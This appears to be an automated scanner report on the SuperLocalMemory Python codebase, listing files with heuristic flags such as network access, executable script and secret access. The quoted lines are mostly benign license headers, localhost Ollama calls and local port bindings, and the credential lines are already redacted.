# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/mesh_lock.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/mesh_owner.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/mesh_state.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/optimize.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/overtaken.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/prewarm.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/profiles.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - Profile Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/ratelimit.py
src/superlocalmemory/server/routes/rbac.py
src/superlocalmemory/server/routes/recall_trace.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/sources.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/stats.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - Stats Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/summaries.py
src/superlocalmemory/server/routes/tiers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3.4.11 "Scale-Ready" - Tier Management Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/timeline.py
src/superlocalmemory/server/routes/token.py
src/superlocalmemory/server/routes/upgrade_restore.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/v3_api.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 243
[Credential-related source omitted] - Access to secretsline 266
[Credential-related source omitted] - Access to secretsline 275
[Credential-related source omitted] - Access to secretsline 365
[Credential-related source omitted] - Access to secretsline 366
[Credential-related source omitted] - Access to secretsline 367
[Credential-related source omitted] - Access to secretsline 376
[Credential-related source omitted] - Access to secretsline 379
[Credential-related source omitted] - Access to secretsline 385
[Credential-related source omitted] - Access to secretsline 434
[Credential-related source omitted] - Access to secretsline 436
[Credential-related source omitted] - Access to secretsline 437
[Credential-related source omitted] - Access to secretsline 466
[Credential-related source omitted] - Access to secretsline 507
[Credential-related source omitted] - Access to secretsline 510
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 515
[Credential-related source omitted] - Network accessline 542
and not clear_base_url ): _raw_ep = "http://localhost:11434" - Network accessline 544
_raw_ep = "http://localhost:11434" - Access to secretsline 608
[Credential-related source omitted] - Access to secretsline 707
[Credential-related source omitted] - Network accessline 793
EMBEDDING, base_url=getattr(old_emb, "ollama_base_url", "") or "http://localhost:11434", - Network accessline 794
base_url=getattr(old_emb, "ollama_base_url", "") or "http://localhost:11434", ) - Network accessline 795
or "http://localhost:11434", - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 875
[Credential-related source omitted] - Access to secretsline 983
[Credential-related source omitted] - Access to secretsline 997
[Credential-related source omitted] - Access to secretsline 998
[Credential-related source omitted] - Network accessline 1002
with httpx.Client(timeout=httpx.Timeout(15.0)) as client: - Access to secretsline 1145
[Credential-related source omitted] - Network accessline 1148
if provider == "ollama": endpoint = body.get("endpoint", "http://localhost:11434") - Network accessline 1149
endpoint = body.get("endpoint", "http://localhost:11434") - Network accessline 1151
if _err: return {"success": False, "error": _err} with httpx.Client(timeout=httpx.Timeout(5.0)) as c: - Network accessline 1152
return {"success": False, "error": _err} with httpx.Client(timeout=httpx.Timeout(5.0)) as c: resp = c.get(f"{endpoint}/api/tags") - Network accessline 1153
with httpx.Client(timeout=httpx.Timeout(5.0)) as c: - Access to secretsline 1166
[Credential-related source omitted] - Access to secretsline 1167
[Credential-related source omitted] - Network accessline 1168
[Credential-related source omitted] - Access to secretsline 1168
[Credential-related source omitted] - Network accessline 1169
[Credential-related source omitted] - Network accessline 1170
with httpx.Client(timeout=httpx.Timeout(10.0)) as c: - Network accessline 1171
[Credential-related source omitted] - Access to secretsline 1171
[Credential-related source omitted] - Access to secretsline 1176
[Credential-related source omitted] - Access to secretsline 1183
[Credential-related source omitted] - Access to secretsline 1184
[Credential-related source omitted] - Network accessline 1186
if not base.endswith("chat/completions"): base = f"{base}/chat/completions" with httpx.Client(timeout=httpx.Timeout(10.0)) as c: - Network accessline 1188
with httpx.Client(timeout=httpx.Timeout(10.0)) as c: - Network accessline 1196
[Credential-related source omitted] - Access to secretsline 1196
[Credential-related source omitted] - Network accessline 1197
[Credential-related source omitted] - Network accessline 1198
with httpx.Client(timeout=httpx.Timeout(10.0)) as c: - Network accessline 1199
[Credential-related source omitted] - Access to secretsline 1199
[Credential-related source omitted] - Access to secretsline 1204
[Credential-related source omitted] - Access to secretsline 1207
[Credential-related source omitted] - Network accessline 1224
try: import httpx with httpx.Client(timeout=httpx.Timeout(5.0)) as client: - Network accessline 1225
import httpx with httpx.Client(timeout=httpx.Timeout(5.0)) as client: resp = client.get("http://localhost:11434/api/tags") - Network accessline 1226
with httpx.Client(timeout=httpx.Timeout(5.0)) as client: - Network accessline 1227
resp = client.get("http://localhost:11434/api/tags") - Access to secretsline 1258
[Credential-related source omitted] - Access to secretsline 1274
[Credential-related source omitted] - Access to secretsline 1285
[Credential-related source omitted] - Access to secretsline 1304
[Credential-related source omitted] - Access to secretsline 3183
[Credential-related source omitted]
src/superlocalmemory/server/routes/views.py
src/superlocalmemory/server/routes/ws.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - WebSocket Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/search_presentation.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/security_middleware.py
- Executable scriptline 1
#!/usr/bin/env python3
src/superlocalmemory/server/sources_wiring.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/summary_cache.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/time_filter_error.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/ui.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 2
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 3
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """ - Network accessline 4
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 23
[Credential-related source omitted] - Network accessline 86
CORSMiddleware, allow_origins=[ "http://localhost:8765", "http://127.0.0.1:8765", - Network accessline 87
allow_origins=[ "http://localhost:8765", "http://127.0.0.1:8765", "http://localhost:8417", "http://127.0.0.1:8417", - Network accessline 88
"http://localhost:8765", "http://127.0.0.1:8765", - Network accessline 89
"http://localhost:8417", "http://127.0.0.1:8417", - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 147
[Credential-related source omitted] - Network accessline 343
for port in [preferred] + list(range(preferred + 1, preferred + 20)): try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - Network accessline 344
try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind(("127.0.0.1", port)) - Network accessline 345
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - Network accessline 361
print(f" UI: {UI_DIR}") print("=" * 70) print(f"\n Dashboard: http://localhost:{ui_port}") - Network accessline 362
print("=" * 70) print(f"\n Dashboard: http://localhost:{ui_port}") print(f" API Docs: http://localhost:{ui_port}/api/docs") - Network accessline 363
print(f"\n Dashboard: http://localhost:{ui_port}") - Network accessline 364
print(f" API Docs: http://localhost:{ui_port}/api/docs") - Network accessline 365
print(f" Health: http://localhost:{ui_port}/health") - Network accessline 366
print(f" SSE Stream: http://localhost:{ui_port}/events/stream")
src/superlocalmemory/server/unified_daemon.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 12
slm remember X → HTTP POST to daemon → instant slm recall X → HTTP GET from daemon → instant slm dashboard → opens browser to http://localhost:8765 - Network accessline 13
slm recall X → HTTP GET from daemon → instant slm dashboard → opens browser to http://localhost:8765 slm serve stop → POST /stop → graceful uvicorn shutdown - Network accessline 14
slm dashboard → opens browser to http://localhost:8765 - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 560
[Credential-related source omitted] - Access to secretsline 645
[Credential-related source omitted] - Access to secretsline 646
[Credential-related source omitted] - Access to secretsline 649
[Credential-related source omitted] - Access to secretsline 650
[Credential-related source omitted] - Network accessline 1187
"your memories are kept, and a restore point is taken before any change " "to the store. Changelog: " "https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md") - Network accessline 1189
"https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md") - Access to secretsline 1353
[Credential-related source omitted] - Access to secretsline 1416
[Credential-related source omitted] - Access to secretsline 1419
[Credential-related source omitted] - Access to secretsline 1423
[Credential-related source omitted] - Access to secretsline 1428
[Credential-related source omitted] - Network accessline 2223
"[slm] first boot on v%s — run `slm status` to see your " "memory overview. Changelog: " "https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md", - Network accessline 2224
"memory overview. Changelog: " "https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md", _slm_version, - Network accessline 2225
"https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md", - Access to secretsline 2540
[Credential-related source omitted] - Access to secretsline 2545
[Credential-related source omitted] - Access to secretsline 2855
[Credential-related source omitted] - Access to secretsline 3229
[Credential-related source omitted] - Access to secretsline 3253
[Credential-related source omitted] - Access to secretsline 3342
[Credential-related source omitted] - Access to secretsline 3363
[Credential-related source omitted] - Access to secretsline 3375
[Credential-related source omitted] - Access to secretsline 3387
[Credential-related source omitted] - Access to secretsline 3960
[Credential-related source omitted] - Network accessline 3972
enable_dns_rebinding_protection=True, allowed_hosts=_hosts, allowed_origins=([f"http://{h}" for h in _hosts] - Network accessline 3973
allowed_hosts=_hosts, allowed_origins=([f"http://{h}" for h in _hosts] + [f"https://{h}" for h in _hosts]), - Network accessline 3974
allowed_origins=([f"http://{h}" for h in _hosts] - Network accessline 3975
+ [f"https://{h}" for h in _hosts]), - Network accessline 3994
enable_dns_rebinding_protection=True, allowed_hosts=_hosts, allowed_origins=[f"http://{h}" for h in _hosts], - Network accessline 3995
allowed_hosts=_hosts, allowed_origins=[f"http://{h}" for h in _hosts], ) - Network accessline 3996
allowed_origins=[f"http://{h}" for h in _hosts], - Network accessline 4222
# # streamable_http_path="/" so that when mounted at "/mcp" the effective # user-facing endpoint is exactly http://127.0.0.1:8765/mcp. - Network accessline 4223
# streamable_http_path="/" so that when mounted at "/mcp" the effective # user-facing endpoint is exactly http://127.0.0.1:8765/mcp. # (FastAPI strips the mount prefix before the sub-app sees the request.) - Network accessline 4224
# user-facing endpoint is exactly http://127.0.0.1:8765/mcp. - Access to secretsline 4421
[Credential-related source omitted] - Access to secretsline 4438
[Credential-related source omitted] - Access to secretsline 4531
[Credential-related source omitted] - Access to secretsline 4536
[Credential-related source omitted] - Access to secretsline 4538
[Credential-related source omitted] - Access to secretsline 4539
[Credential-related source omitted] - Access to secretsline 4543
[Credential-related source omitted] - Access to secretsline 4559
[Credential-related source omitted] - Access to secretsline 4850
[Credential-related source omitted] - Access to secretsline 4852
[Credential-related source omitted] - Access to secretsline 4854
[Credential-related source omitted] - Network accessline 4857
try: import httpx as _hx _r = _hx.get("http://localhost:11434/api/tags", timeout=2.0) - Network accessline 4858
import httpx as _hx _r = _hx.get("http://localhost:11434/api/tags", timeout=2.0) ollama_models = [] - Network accessline 4859
_r = _hx.get("http://localhost:11434/api/tags", timeout=2.0) - Access to secretsline 6780
[Credential-related source omitted] - Network accessline 6989
ledger = ObligationLedger() with db.raw_connection() as conn: for obligation in ledger.fetch(conn, operation_id): - Network accessline 6990
with db.raw_connection() as conn: for obligation in ledger.fetch(conn, operation_id): if obligation.kind != ObligationKind.APPLY: - Network accessline 6991
for obligation in ledger.fetch(conn, operation_id): - Access to secretsline 7263
[Credential-related source omitted] - Access to secretsline 7296
[Credential-related source omitted] - Access to secretsline 7297
[Credential-related source omitted] - Access to secretsline 7303
[Credential-related source omitted] - Access to secretsline 7304
[Credential-related source omitted] - Network accessline 7315
bind_host, ) listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 7317
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 7321
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as probe: - Network accessline 7322
try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as probe: probe.settimeout(0.5) - Network accessline 7323
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as probe: - Access to secretsline 7342
[Credential-related source omitted] - Network accessline 7448
) main_srv, remote_srv = make_servers(main_config.app, main_config, remote) logger.warning("Remote access listening on https://%s:%d (TLS; /mcp and /health only)", - Network accessline 7449
main_srv, remote_srv = make_servers(main_config.app, main_config, remote) logger.warning("Remote access listening on https://%s:%d (TLS; /mcp and /health only)", remote.host, remote.port) - Network accessline 7450
logger.warning("Remote access listening on https://%s:%d (TLS; /mcp and /health only)", - Access to secretsline 7540
[Credential-related source omitted]
src/superlocalmemory/server/upload_housekeeping.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/validation_errors.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/vector_backfill.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/view_cache.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com """Dashboard summaries computed once and shared for a few seconds. - Network accessline 3
# Part of SuperLocalMemory | https://qualixar.com
src/superlocalmemory/server/warmup_error.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/write_governance.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/write_identity.py
- Executable scriptline 1
Executable file - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 134
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted]
src/superlocalmemory/sources/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/api.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/borrows.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/folder_watch.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/host.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/ignore.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/ingest.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/links.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/locks.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/obsidian.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Possible obfuscationline 82
head = text[1:] if text.startswith("<U+FEFF>") else text
src/superlocalmemory/sources/picker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/preview.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/reconcile.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/report.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/retire.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/roots.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 14
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted]
src/superlocalmemory/sources/safe_read.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/scanner.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/store.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/sources/walk.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_boot_snapshot.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_downgrade.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_durable_json.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_migration_catalogue.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_migration_internals.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_restore_boot.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_restore_damaged.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_restore_delta.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_restore_intent.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_restore_kinds.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_restore_learning.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_restore_preview.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_restore_public.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_restore_reimport.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_restore_retention.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_restore_types.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_schema_version.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_snapshot_manifest.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/_snapshot_retention.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/access_log.py
- Executable scriptline 1
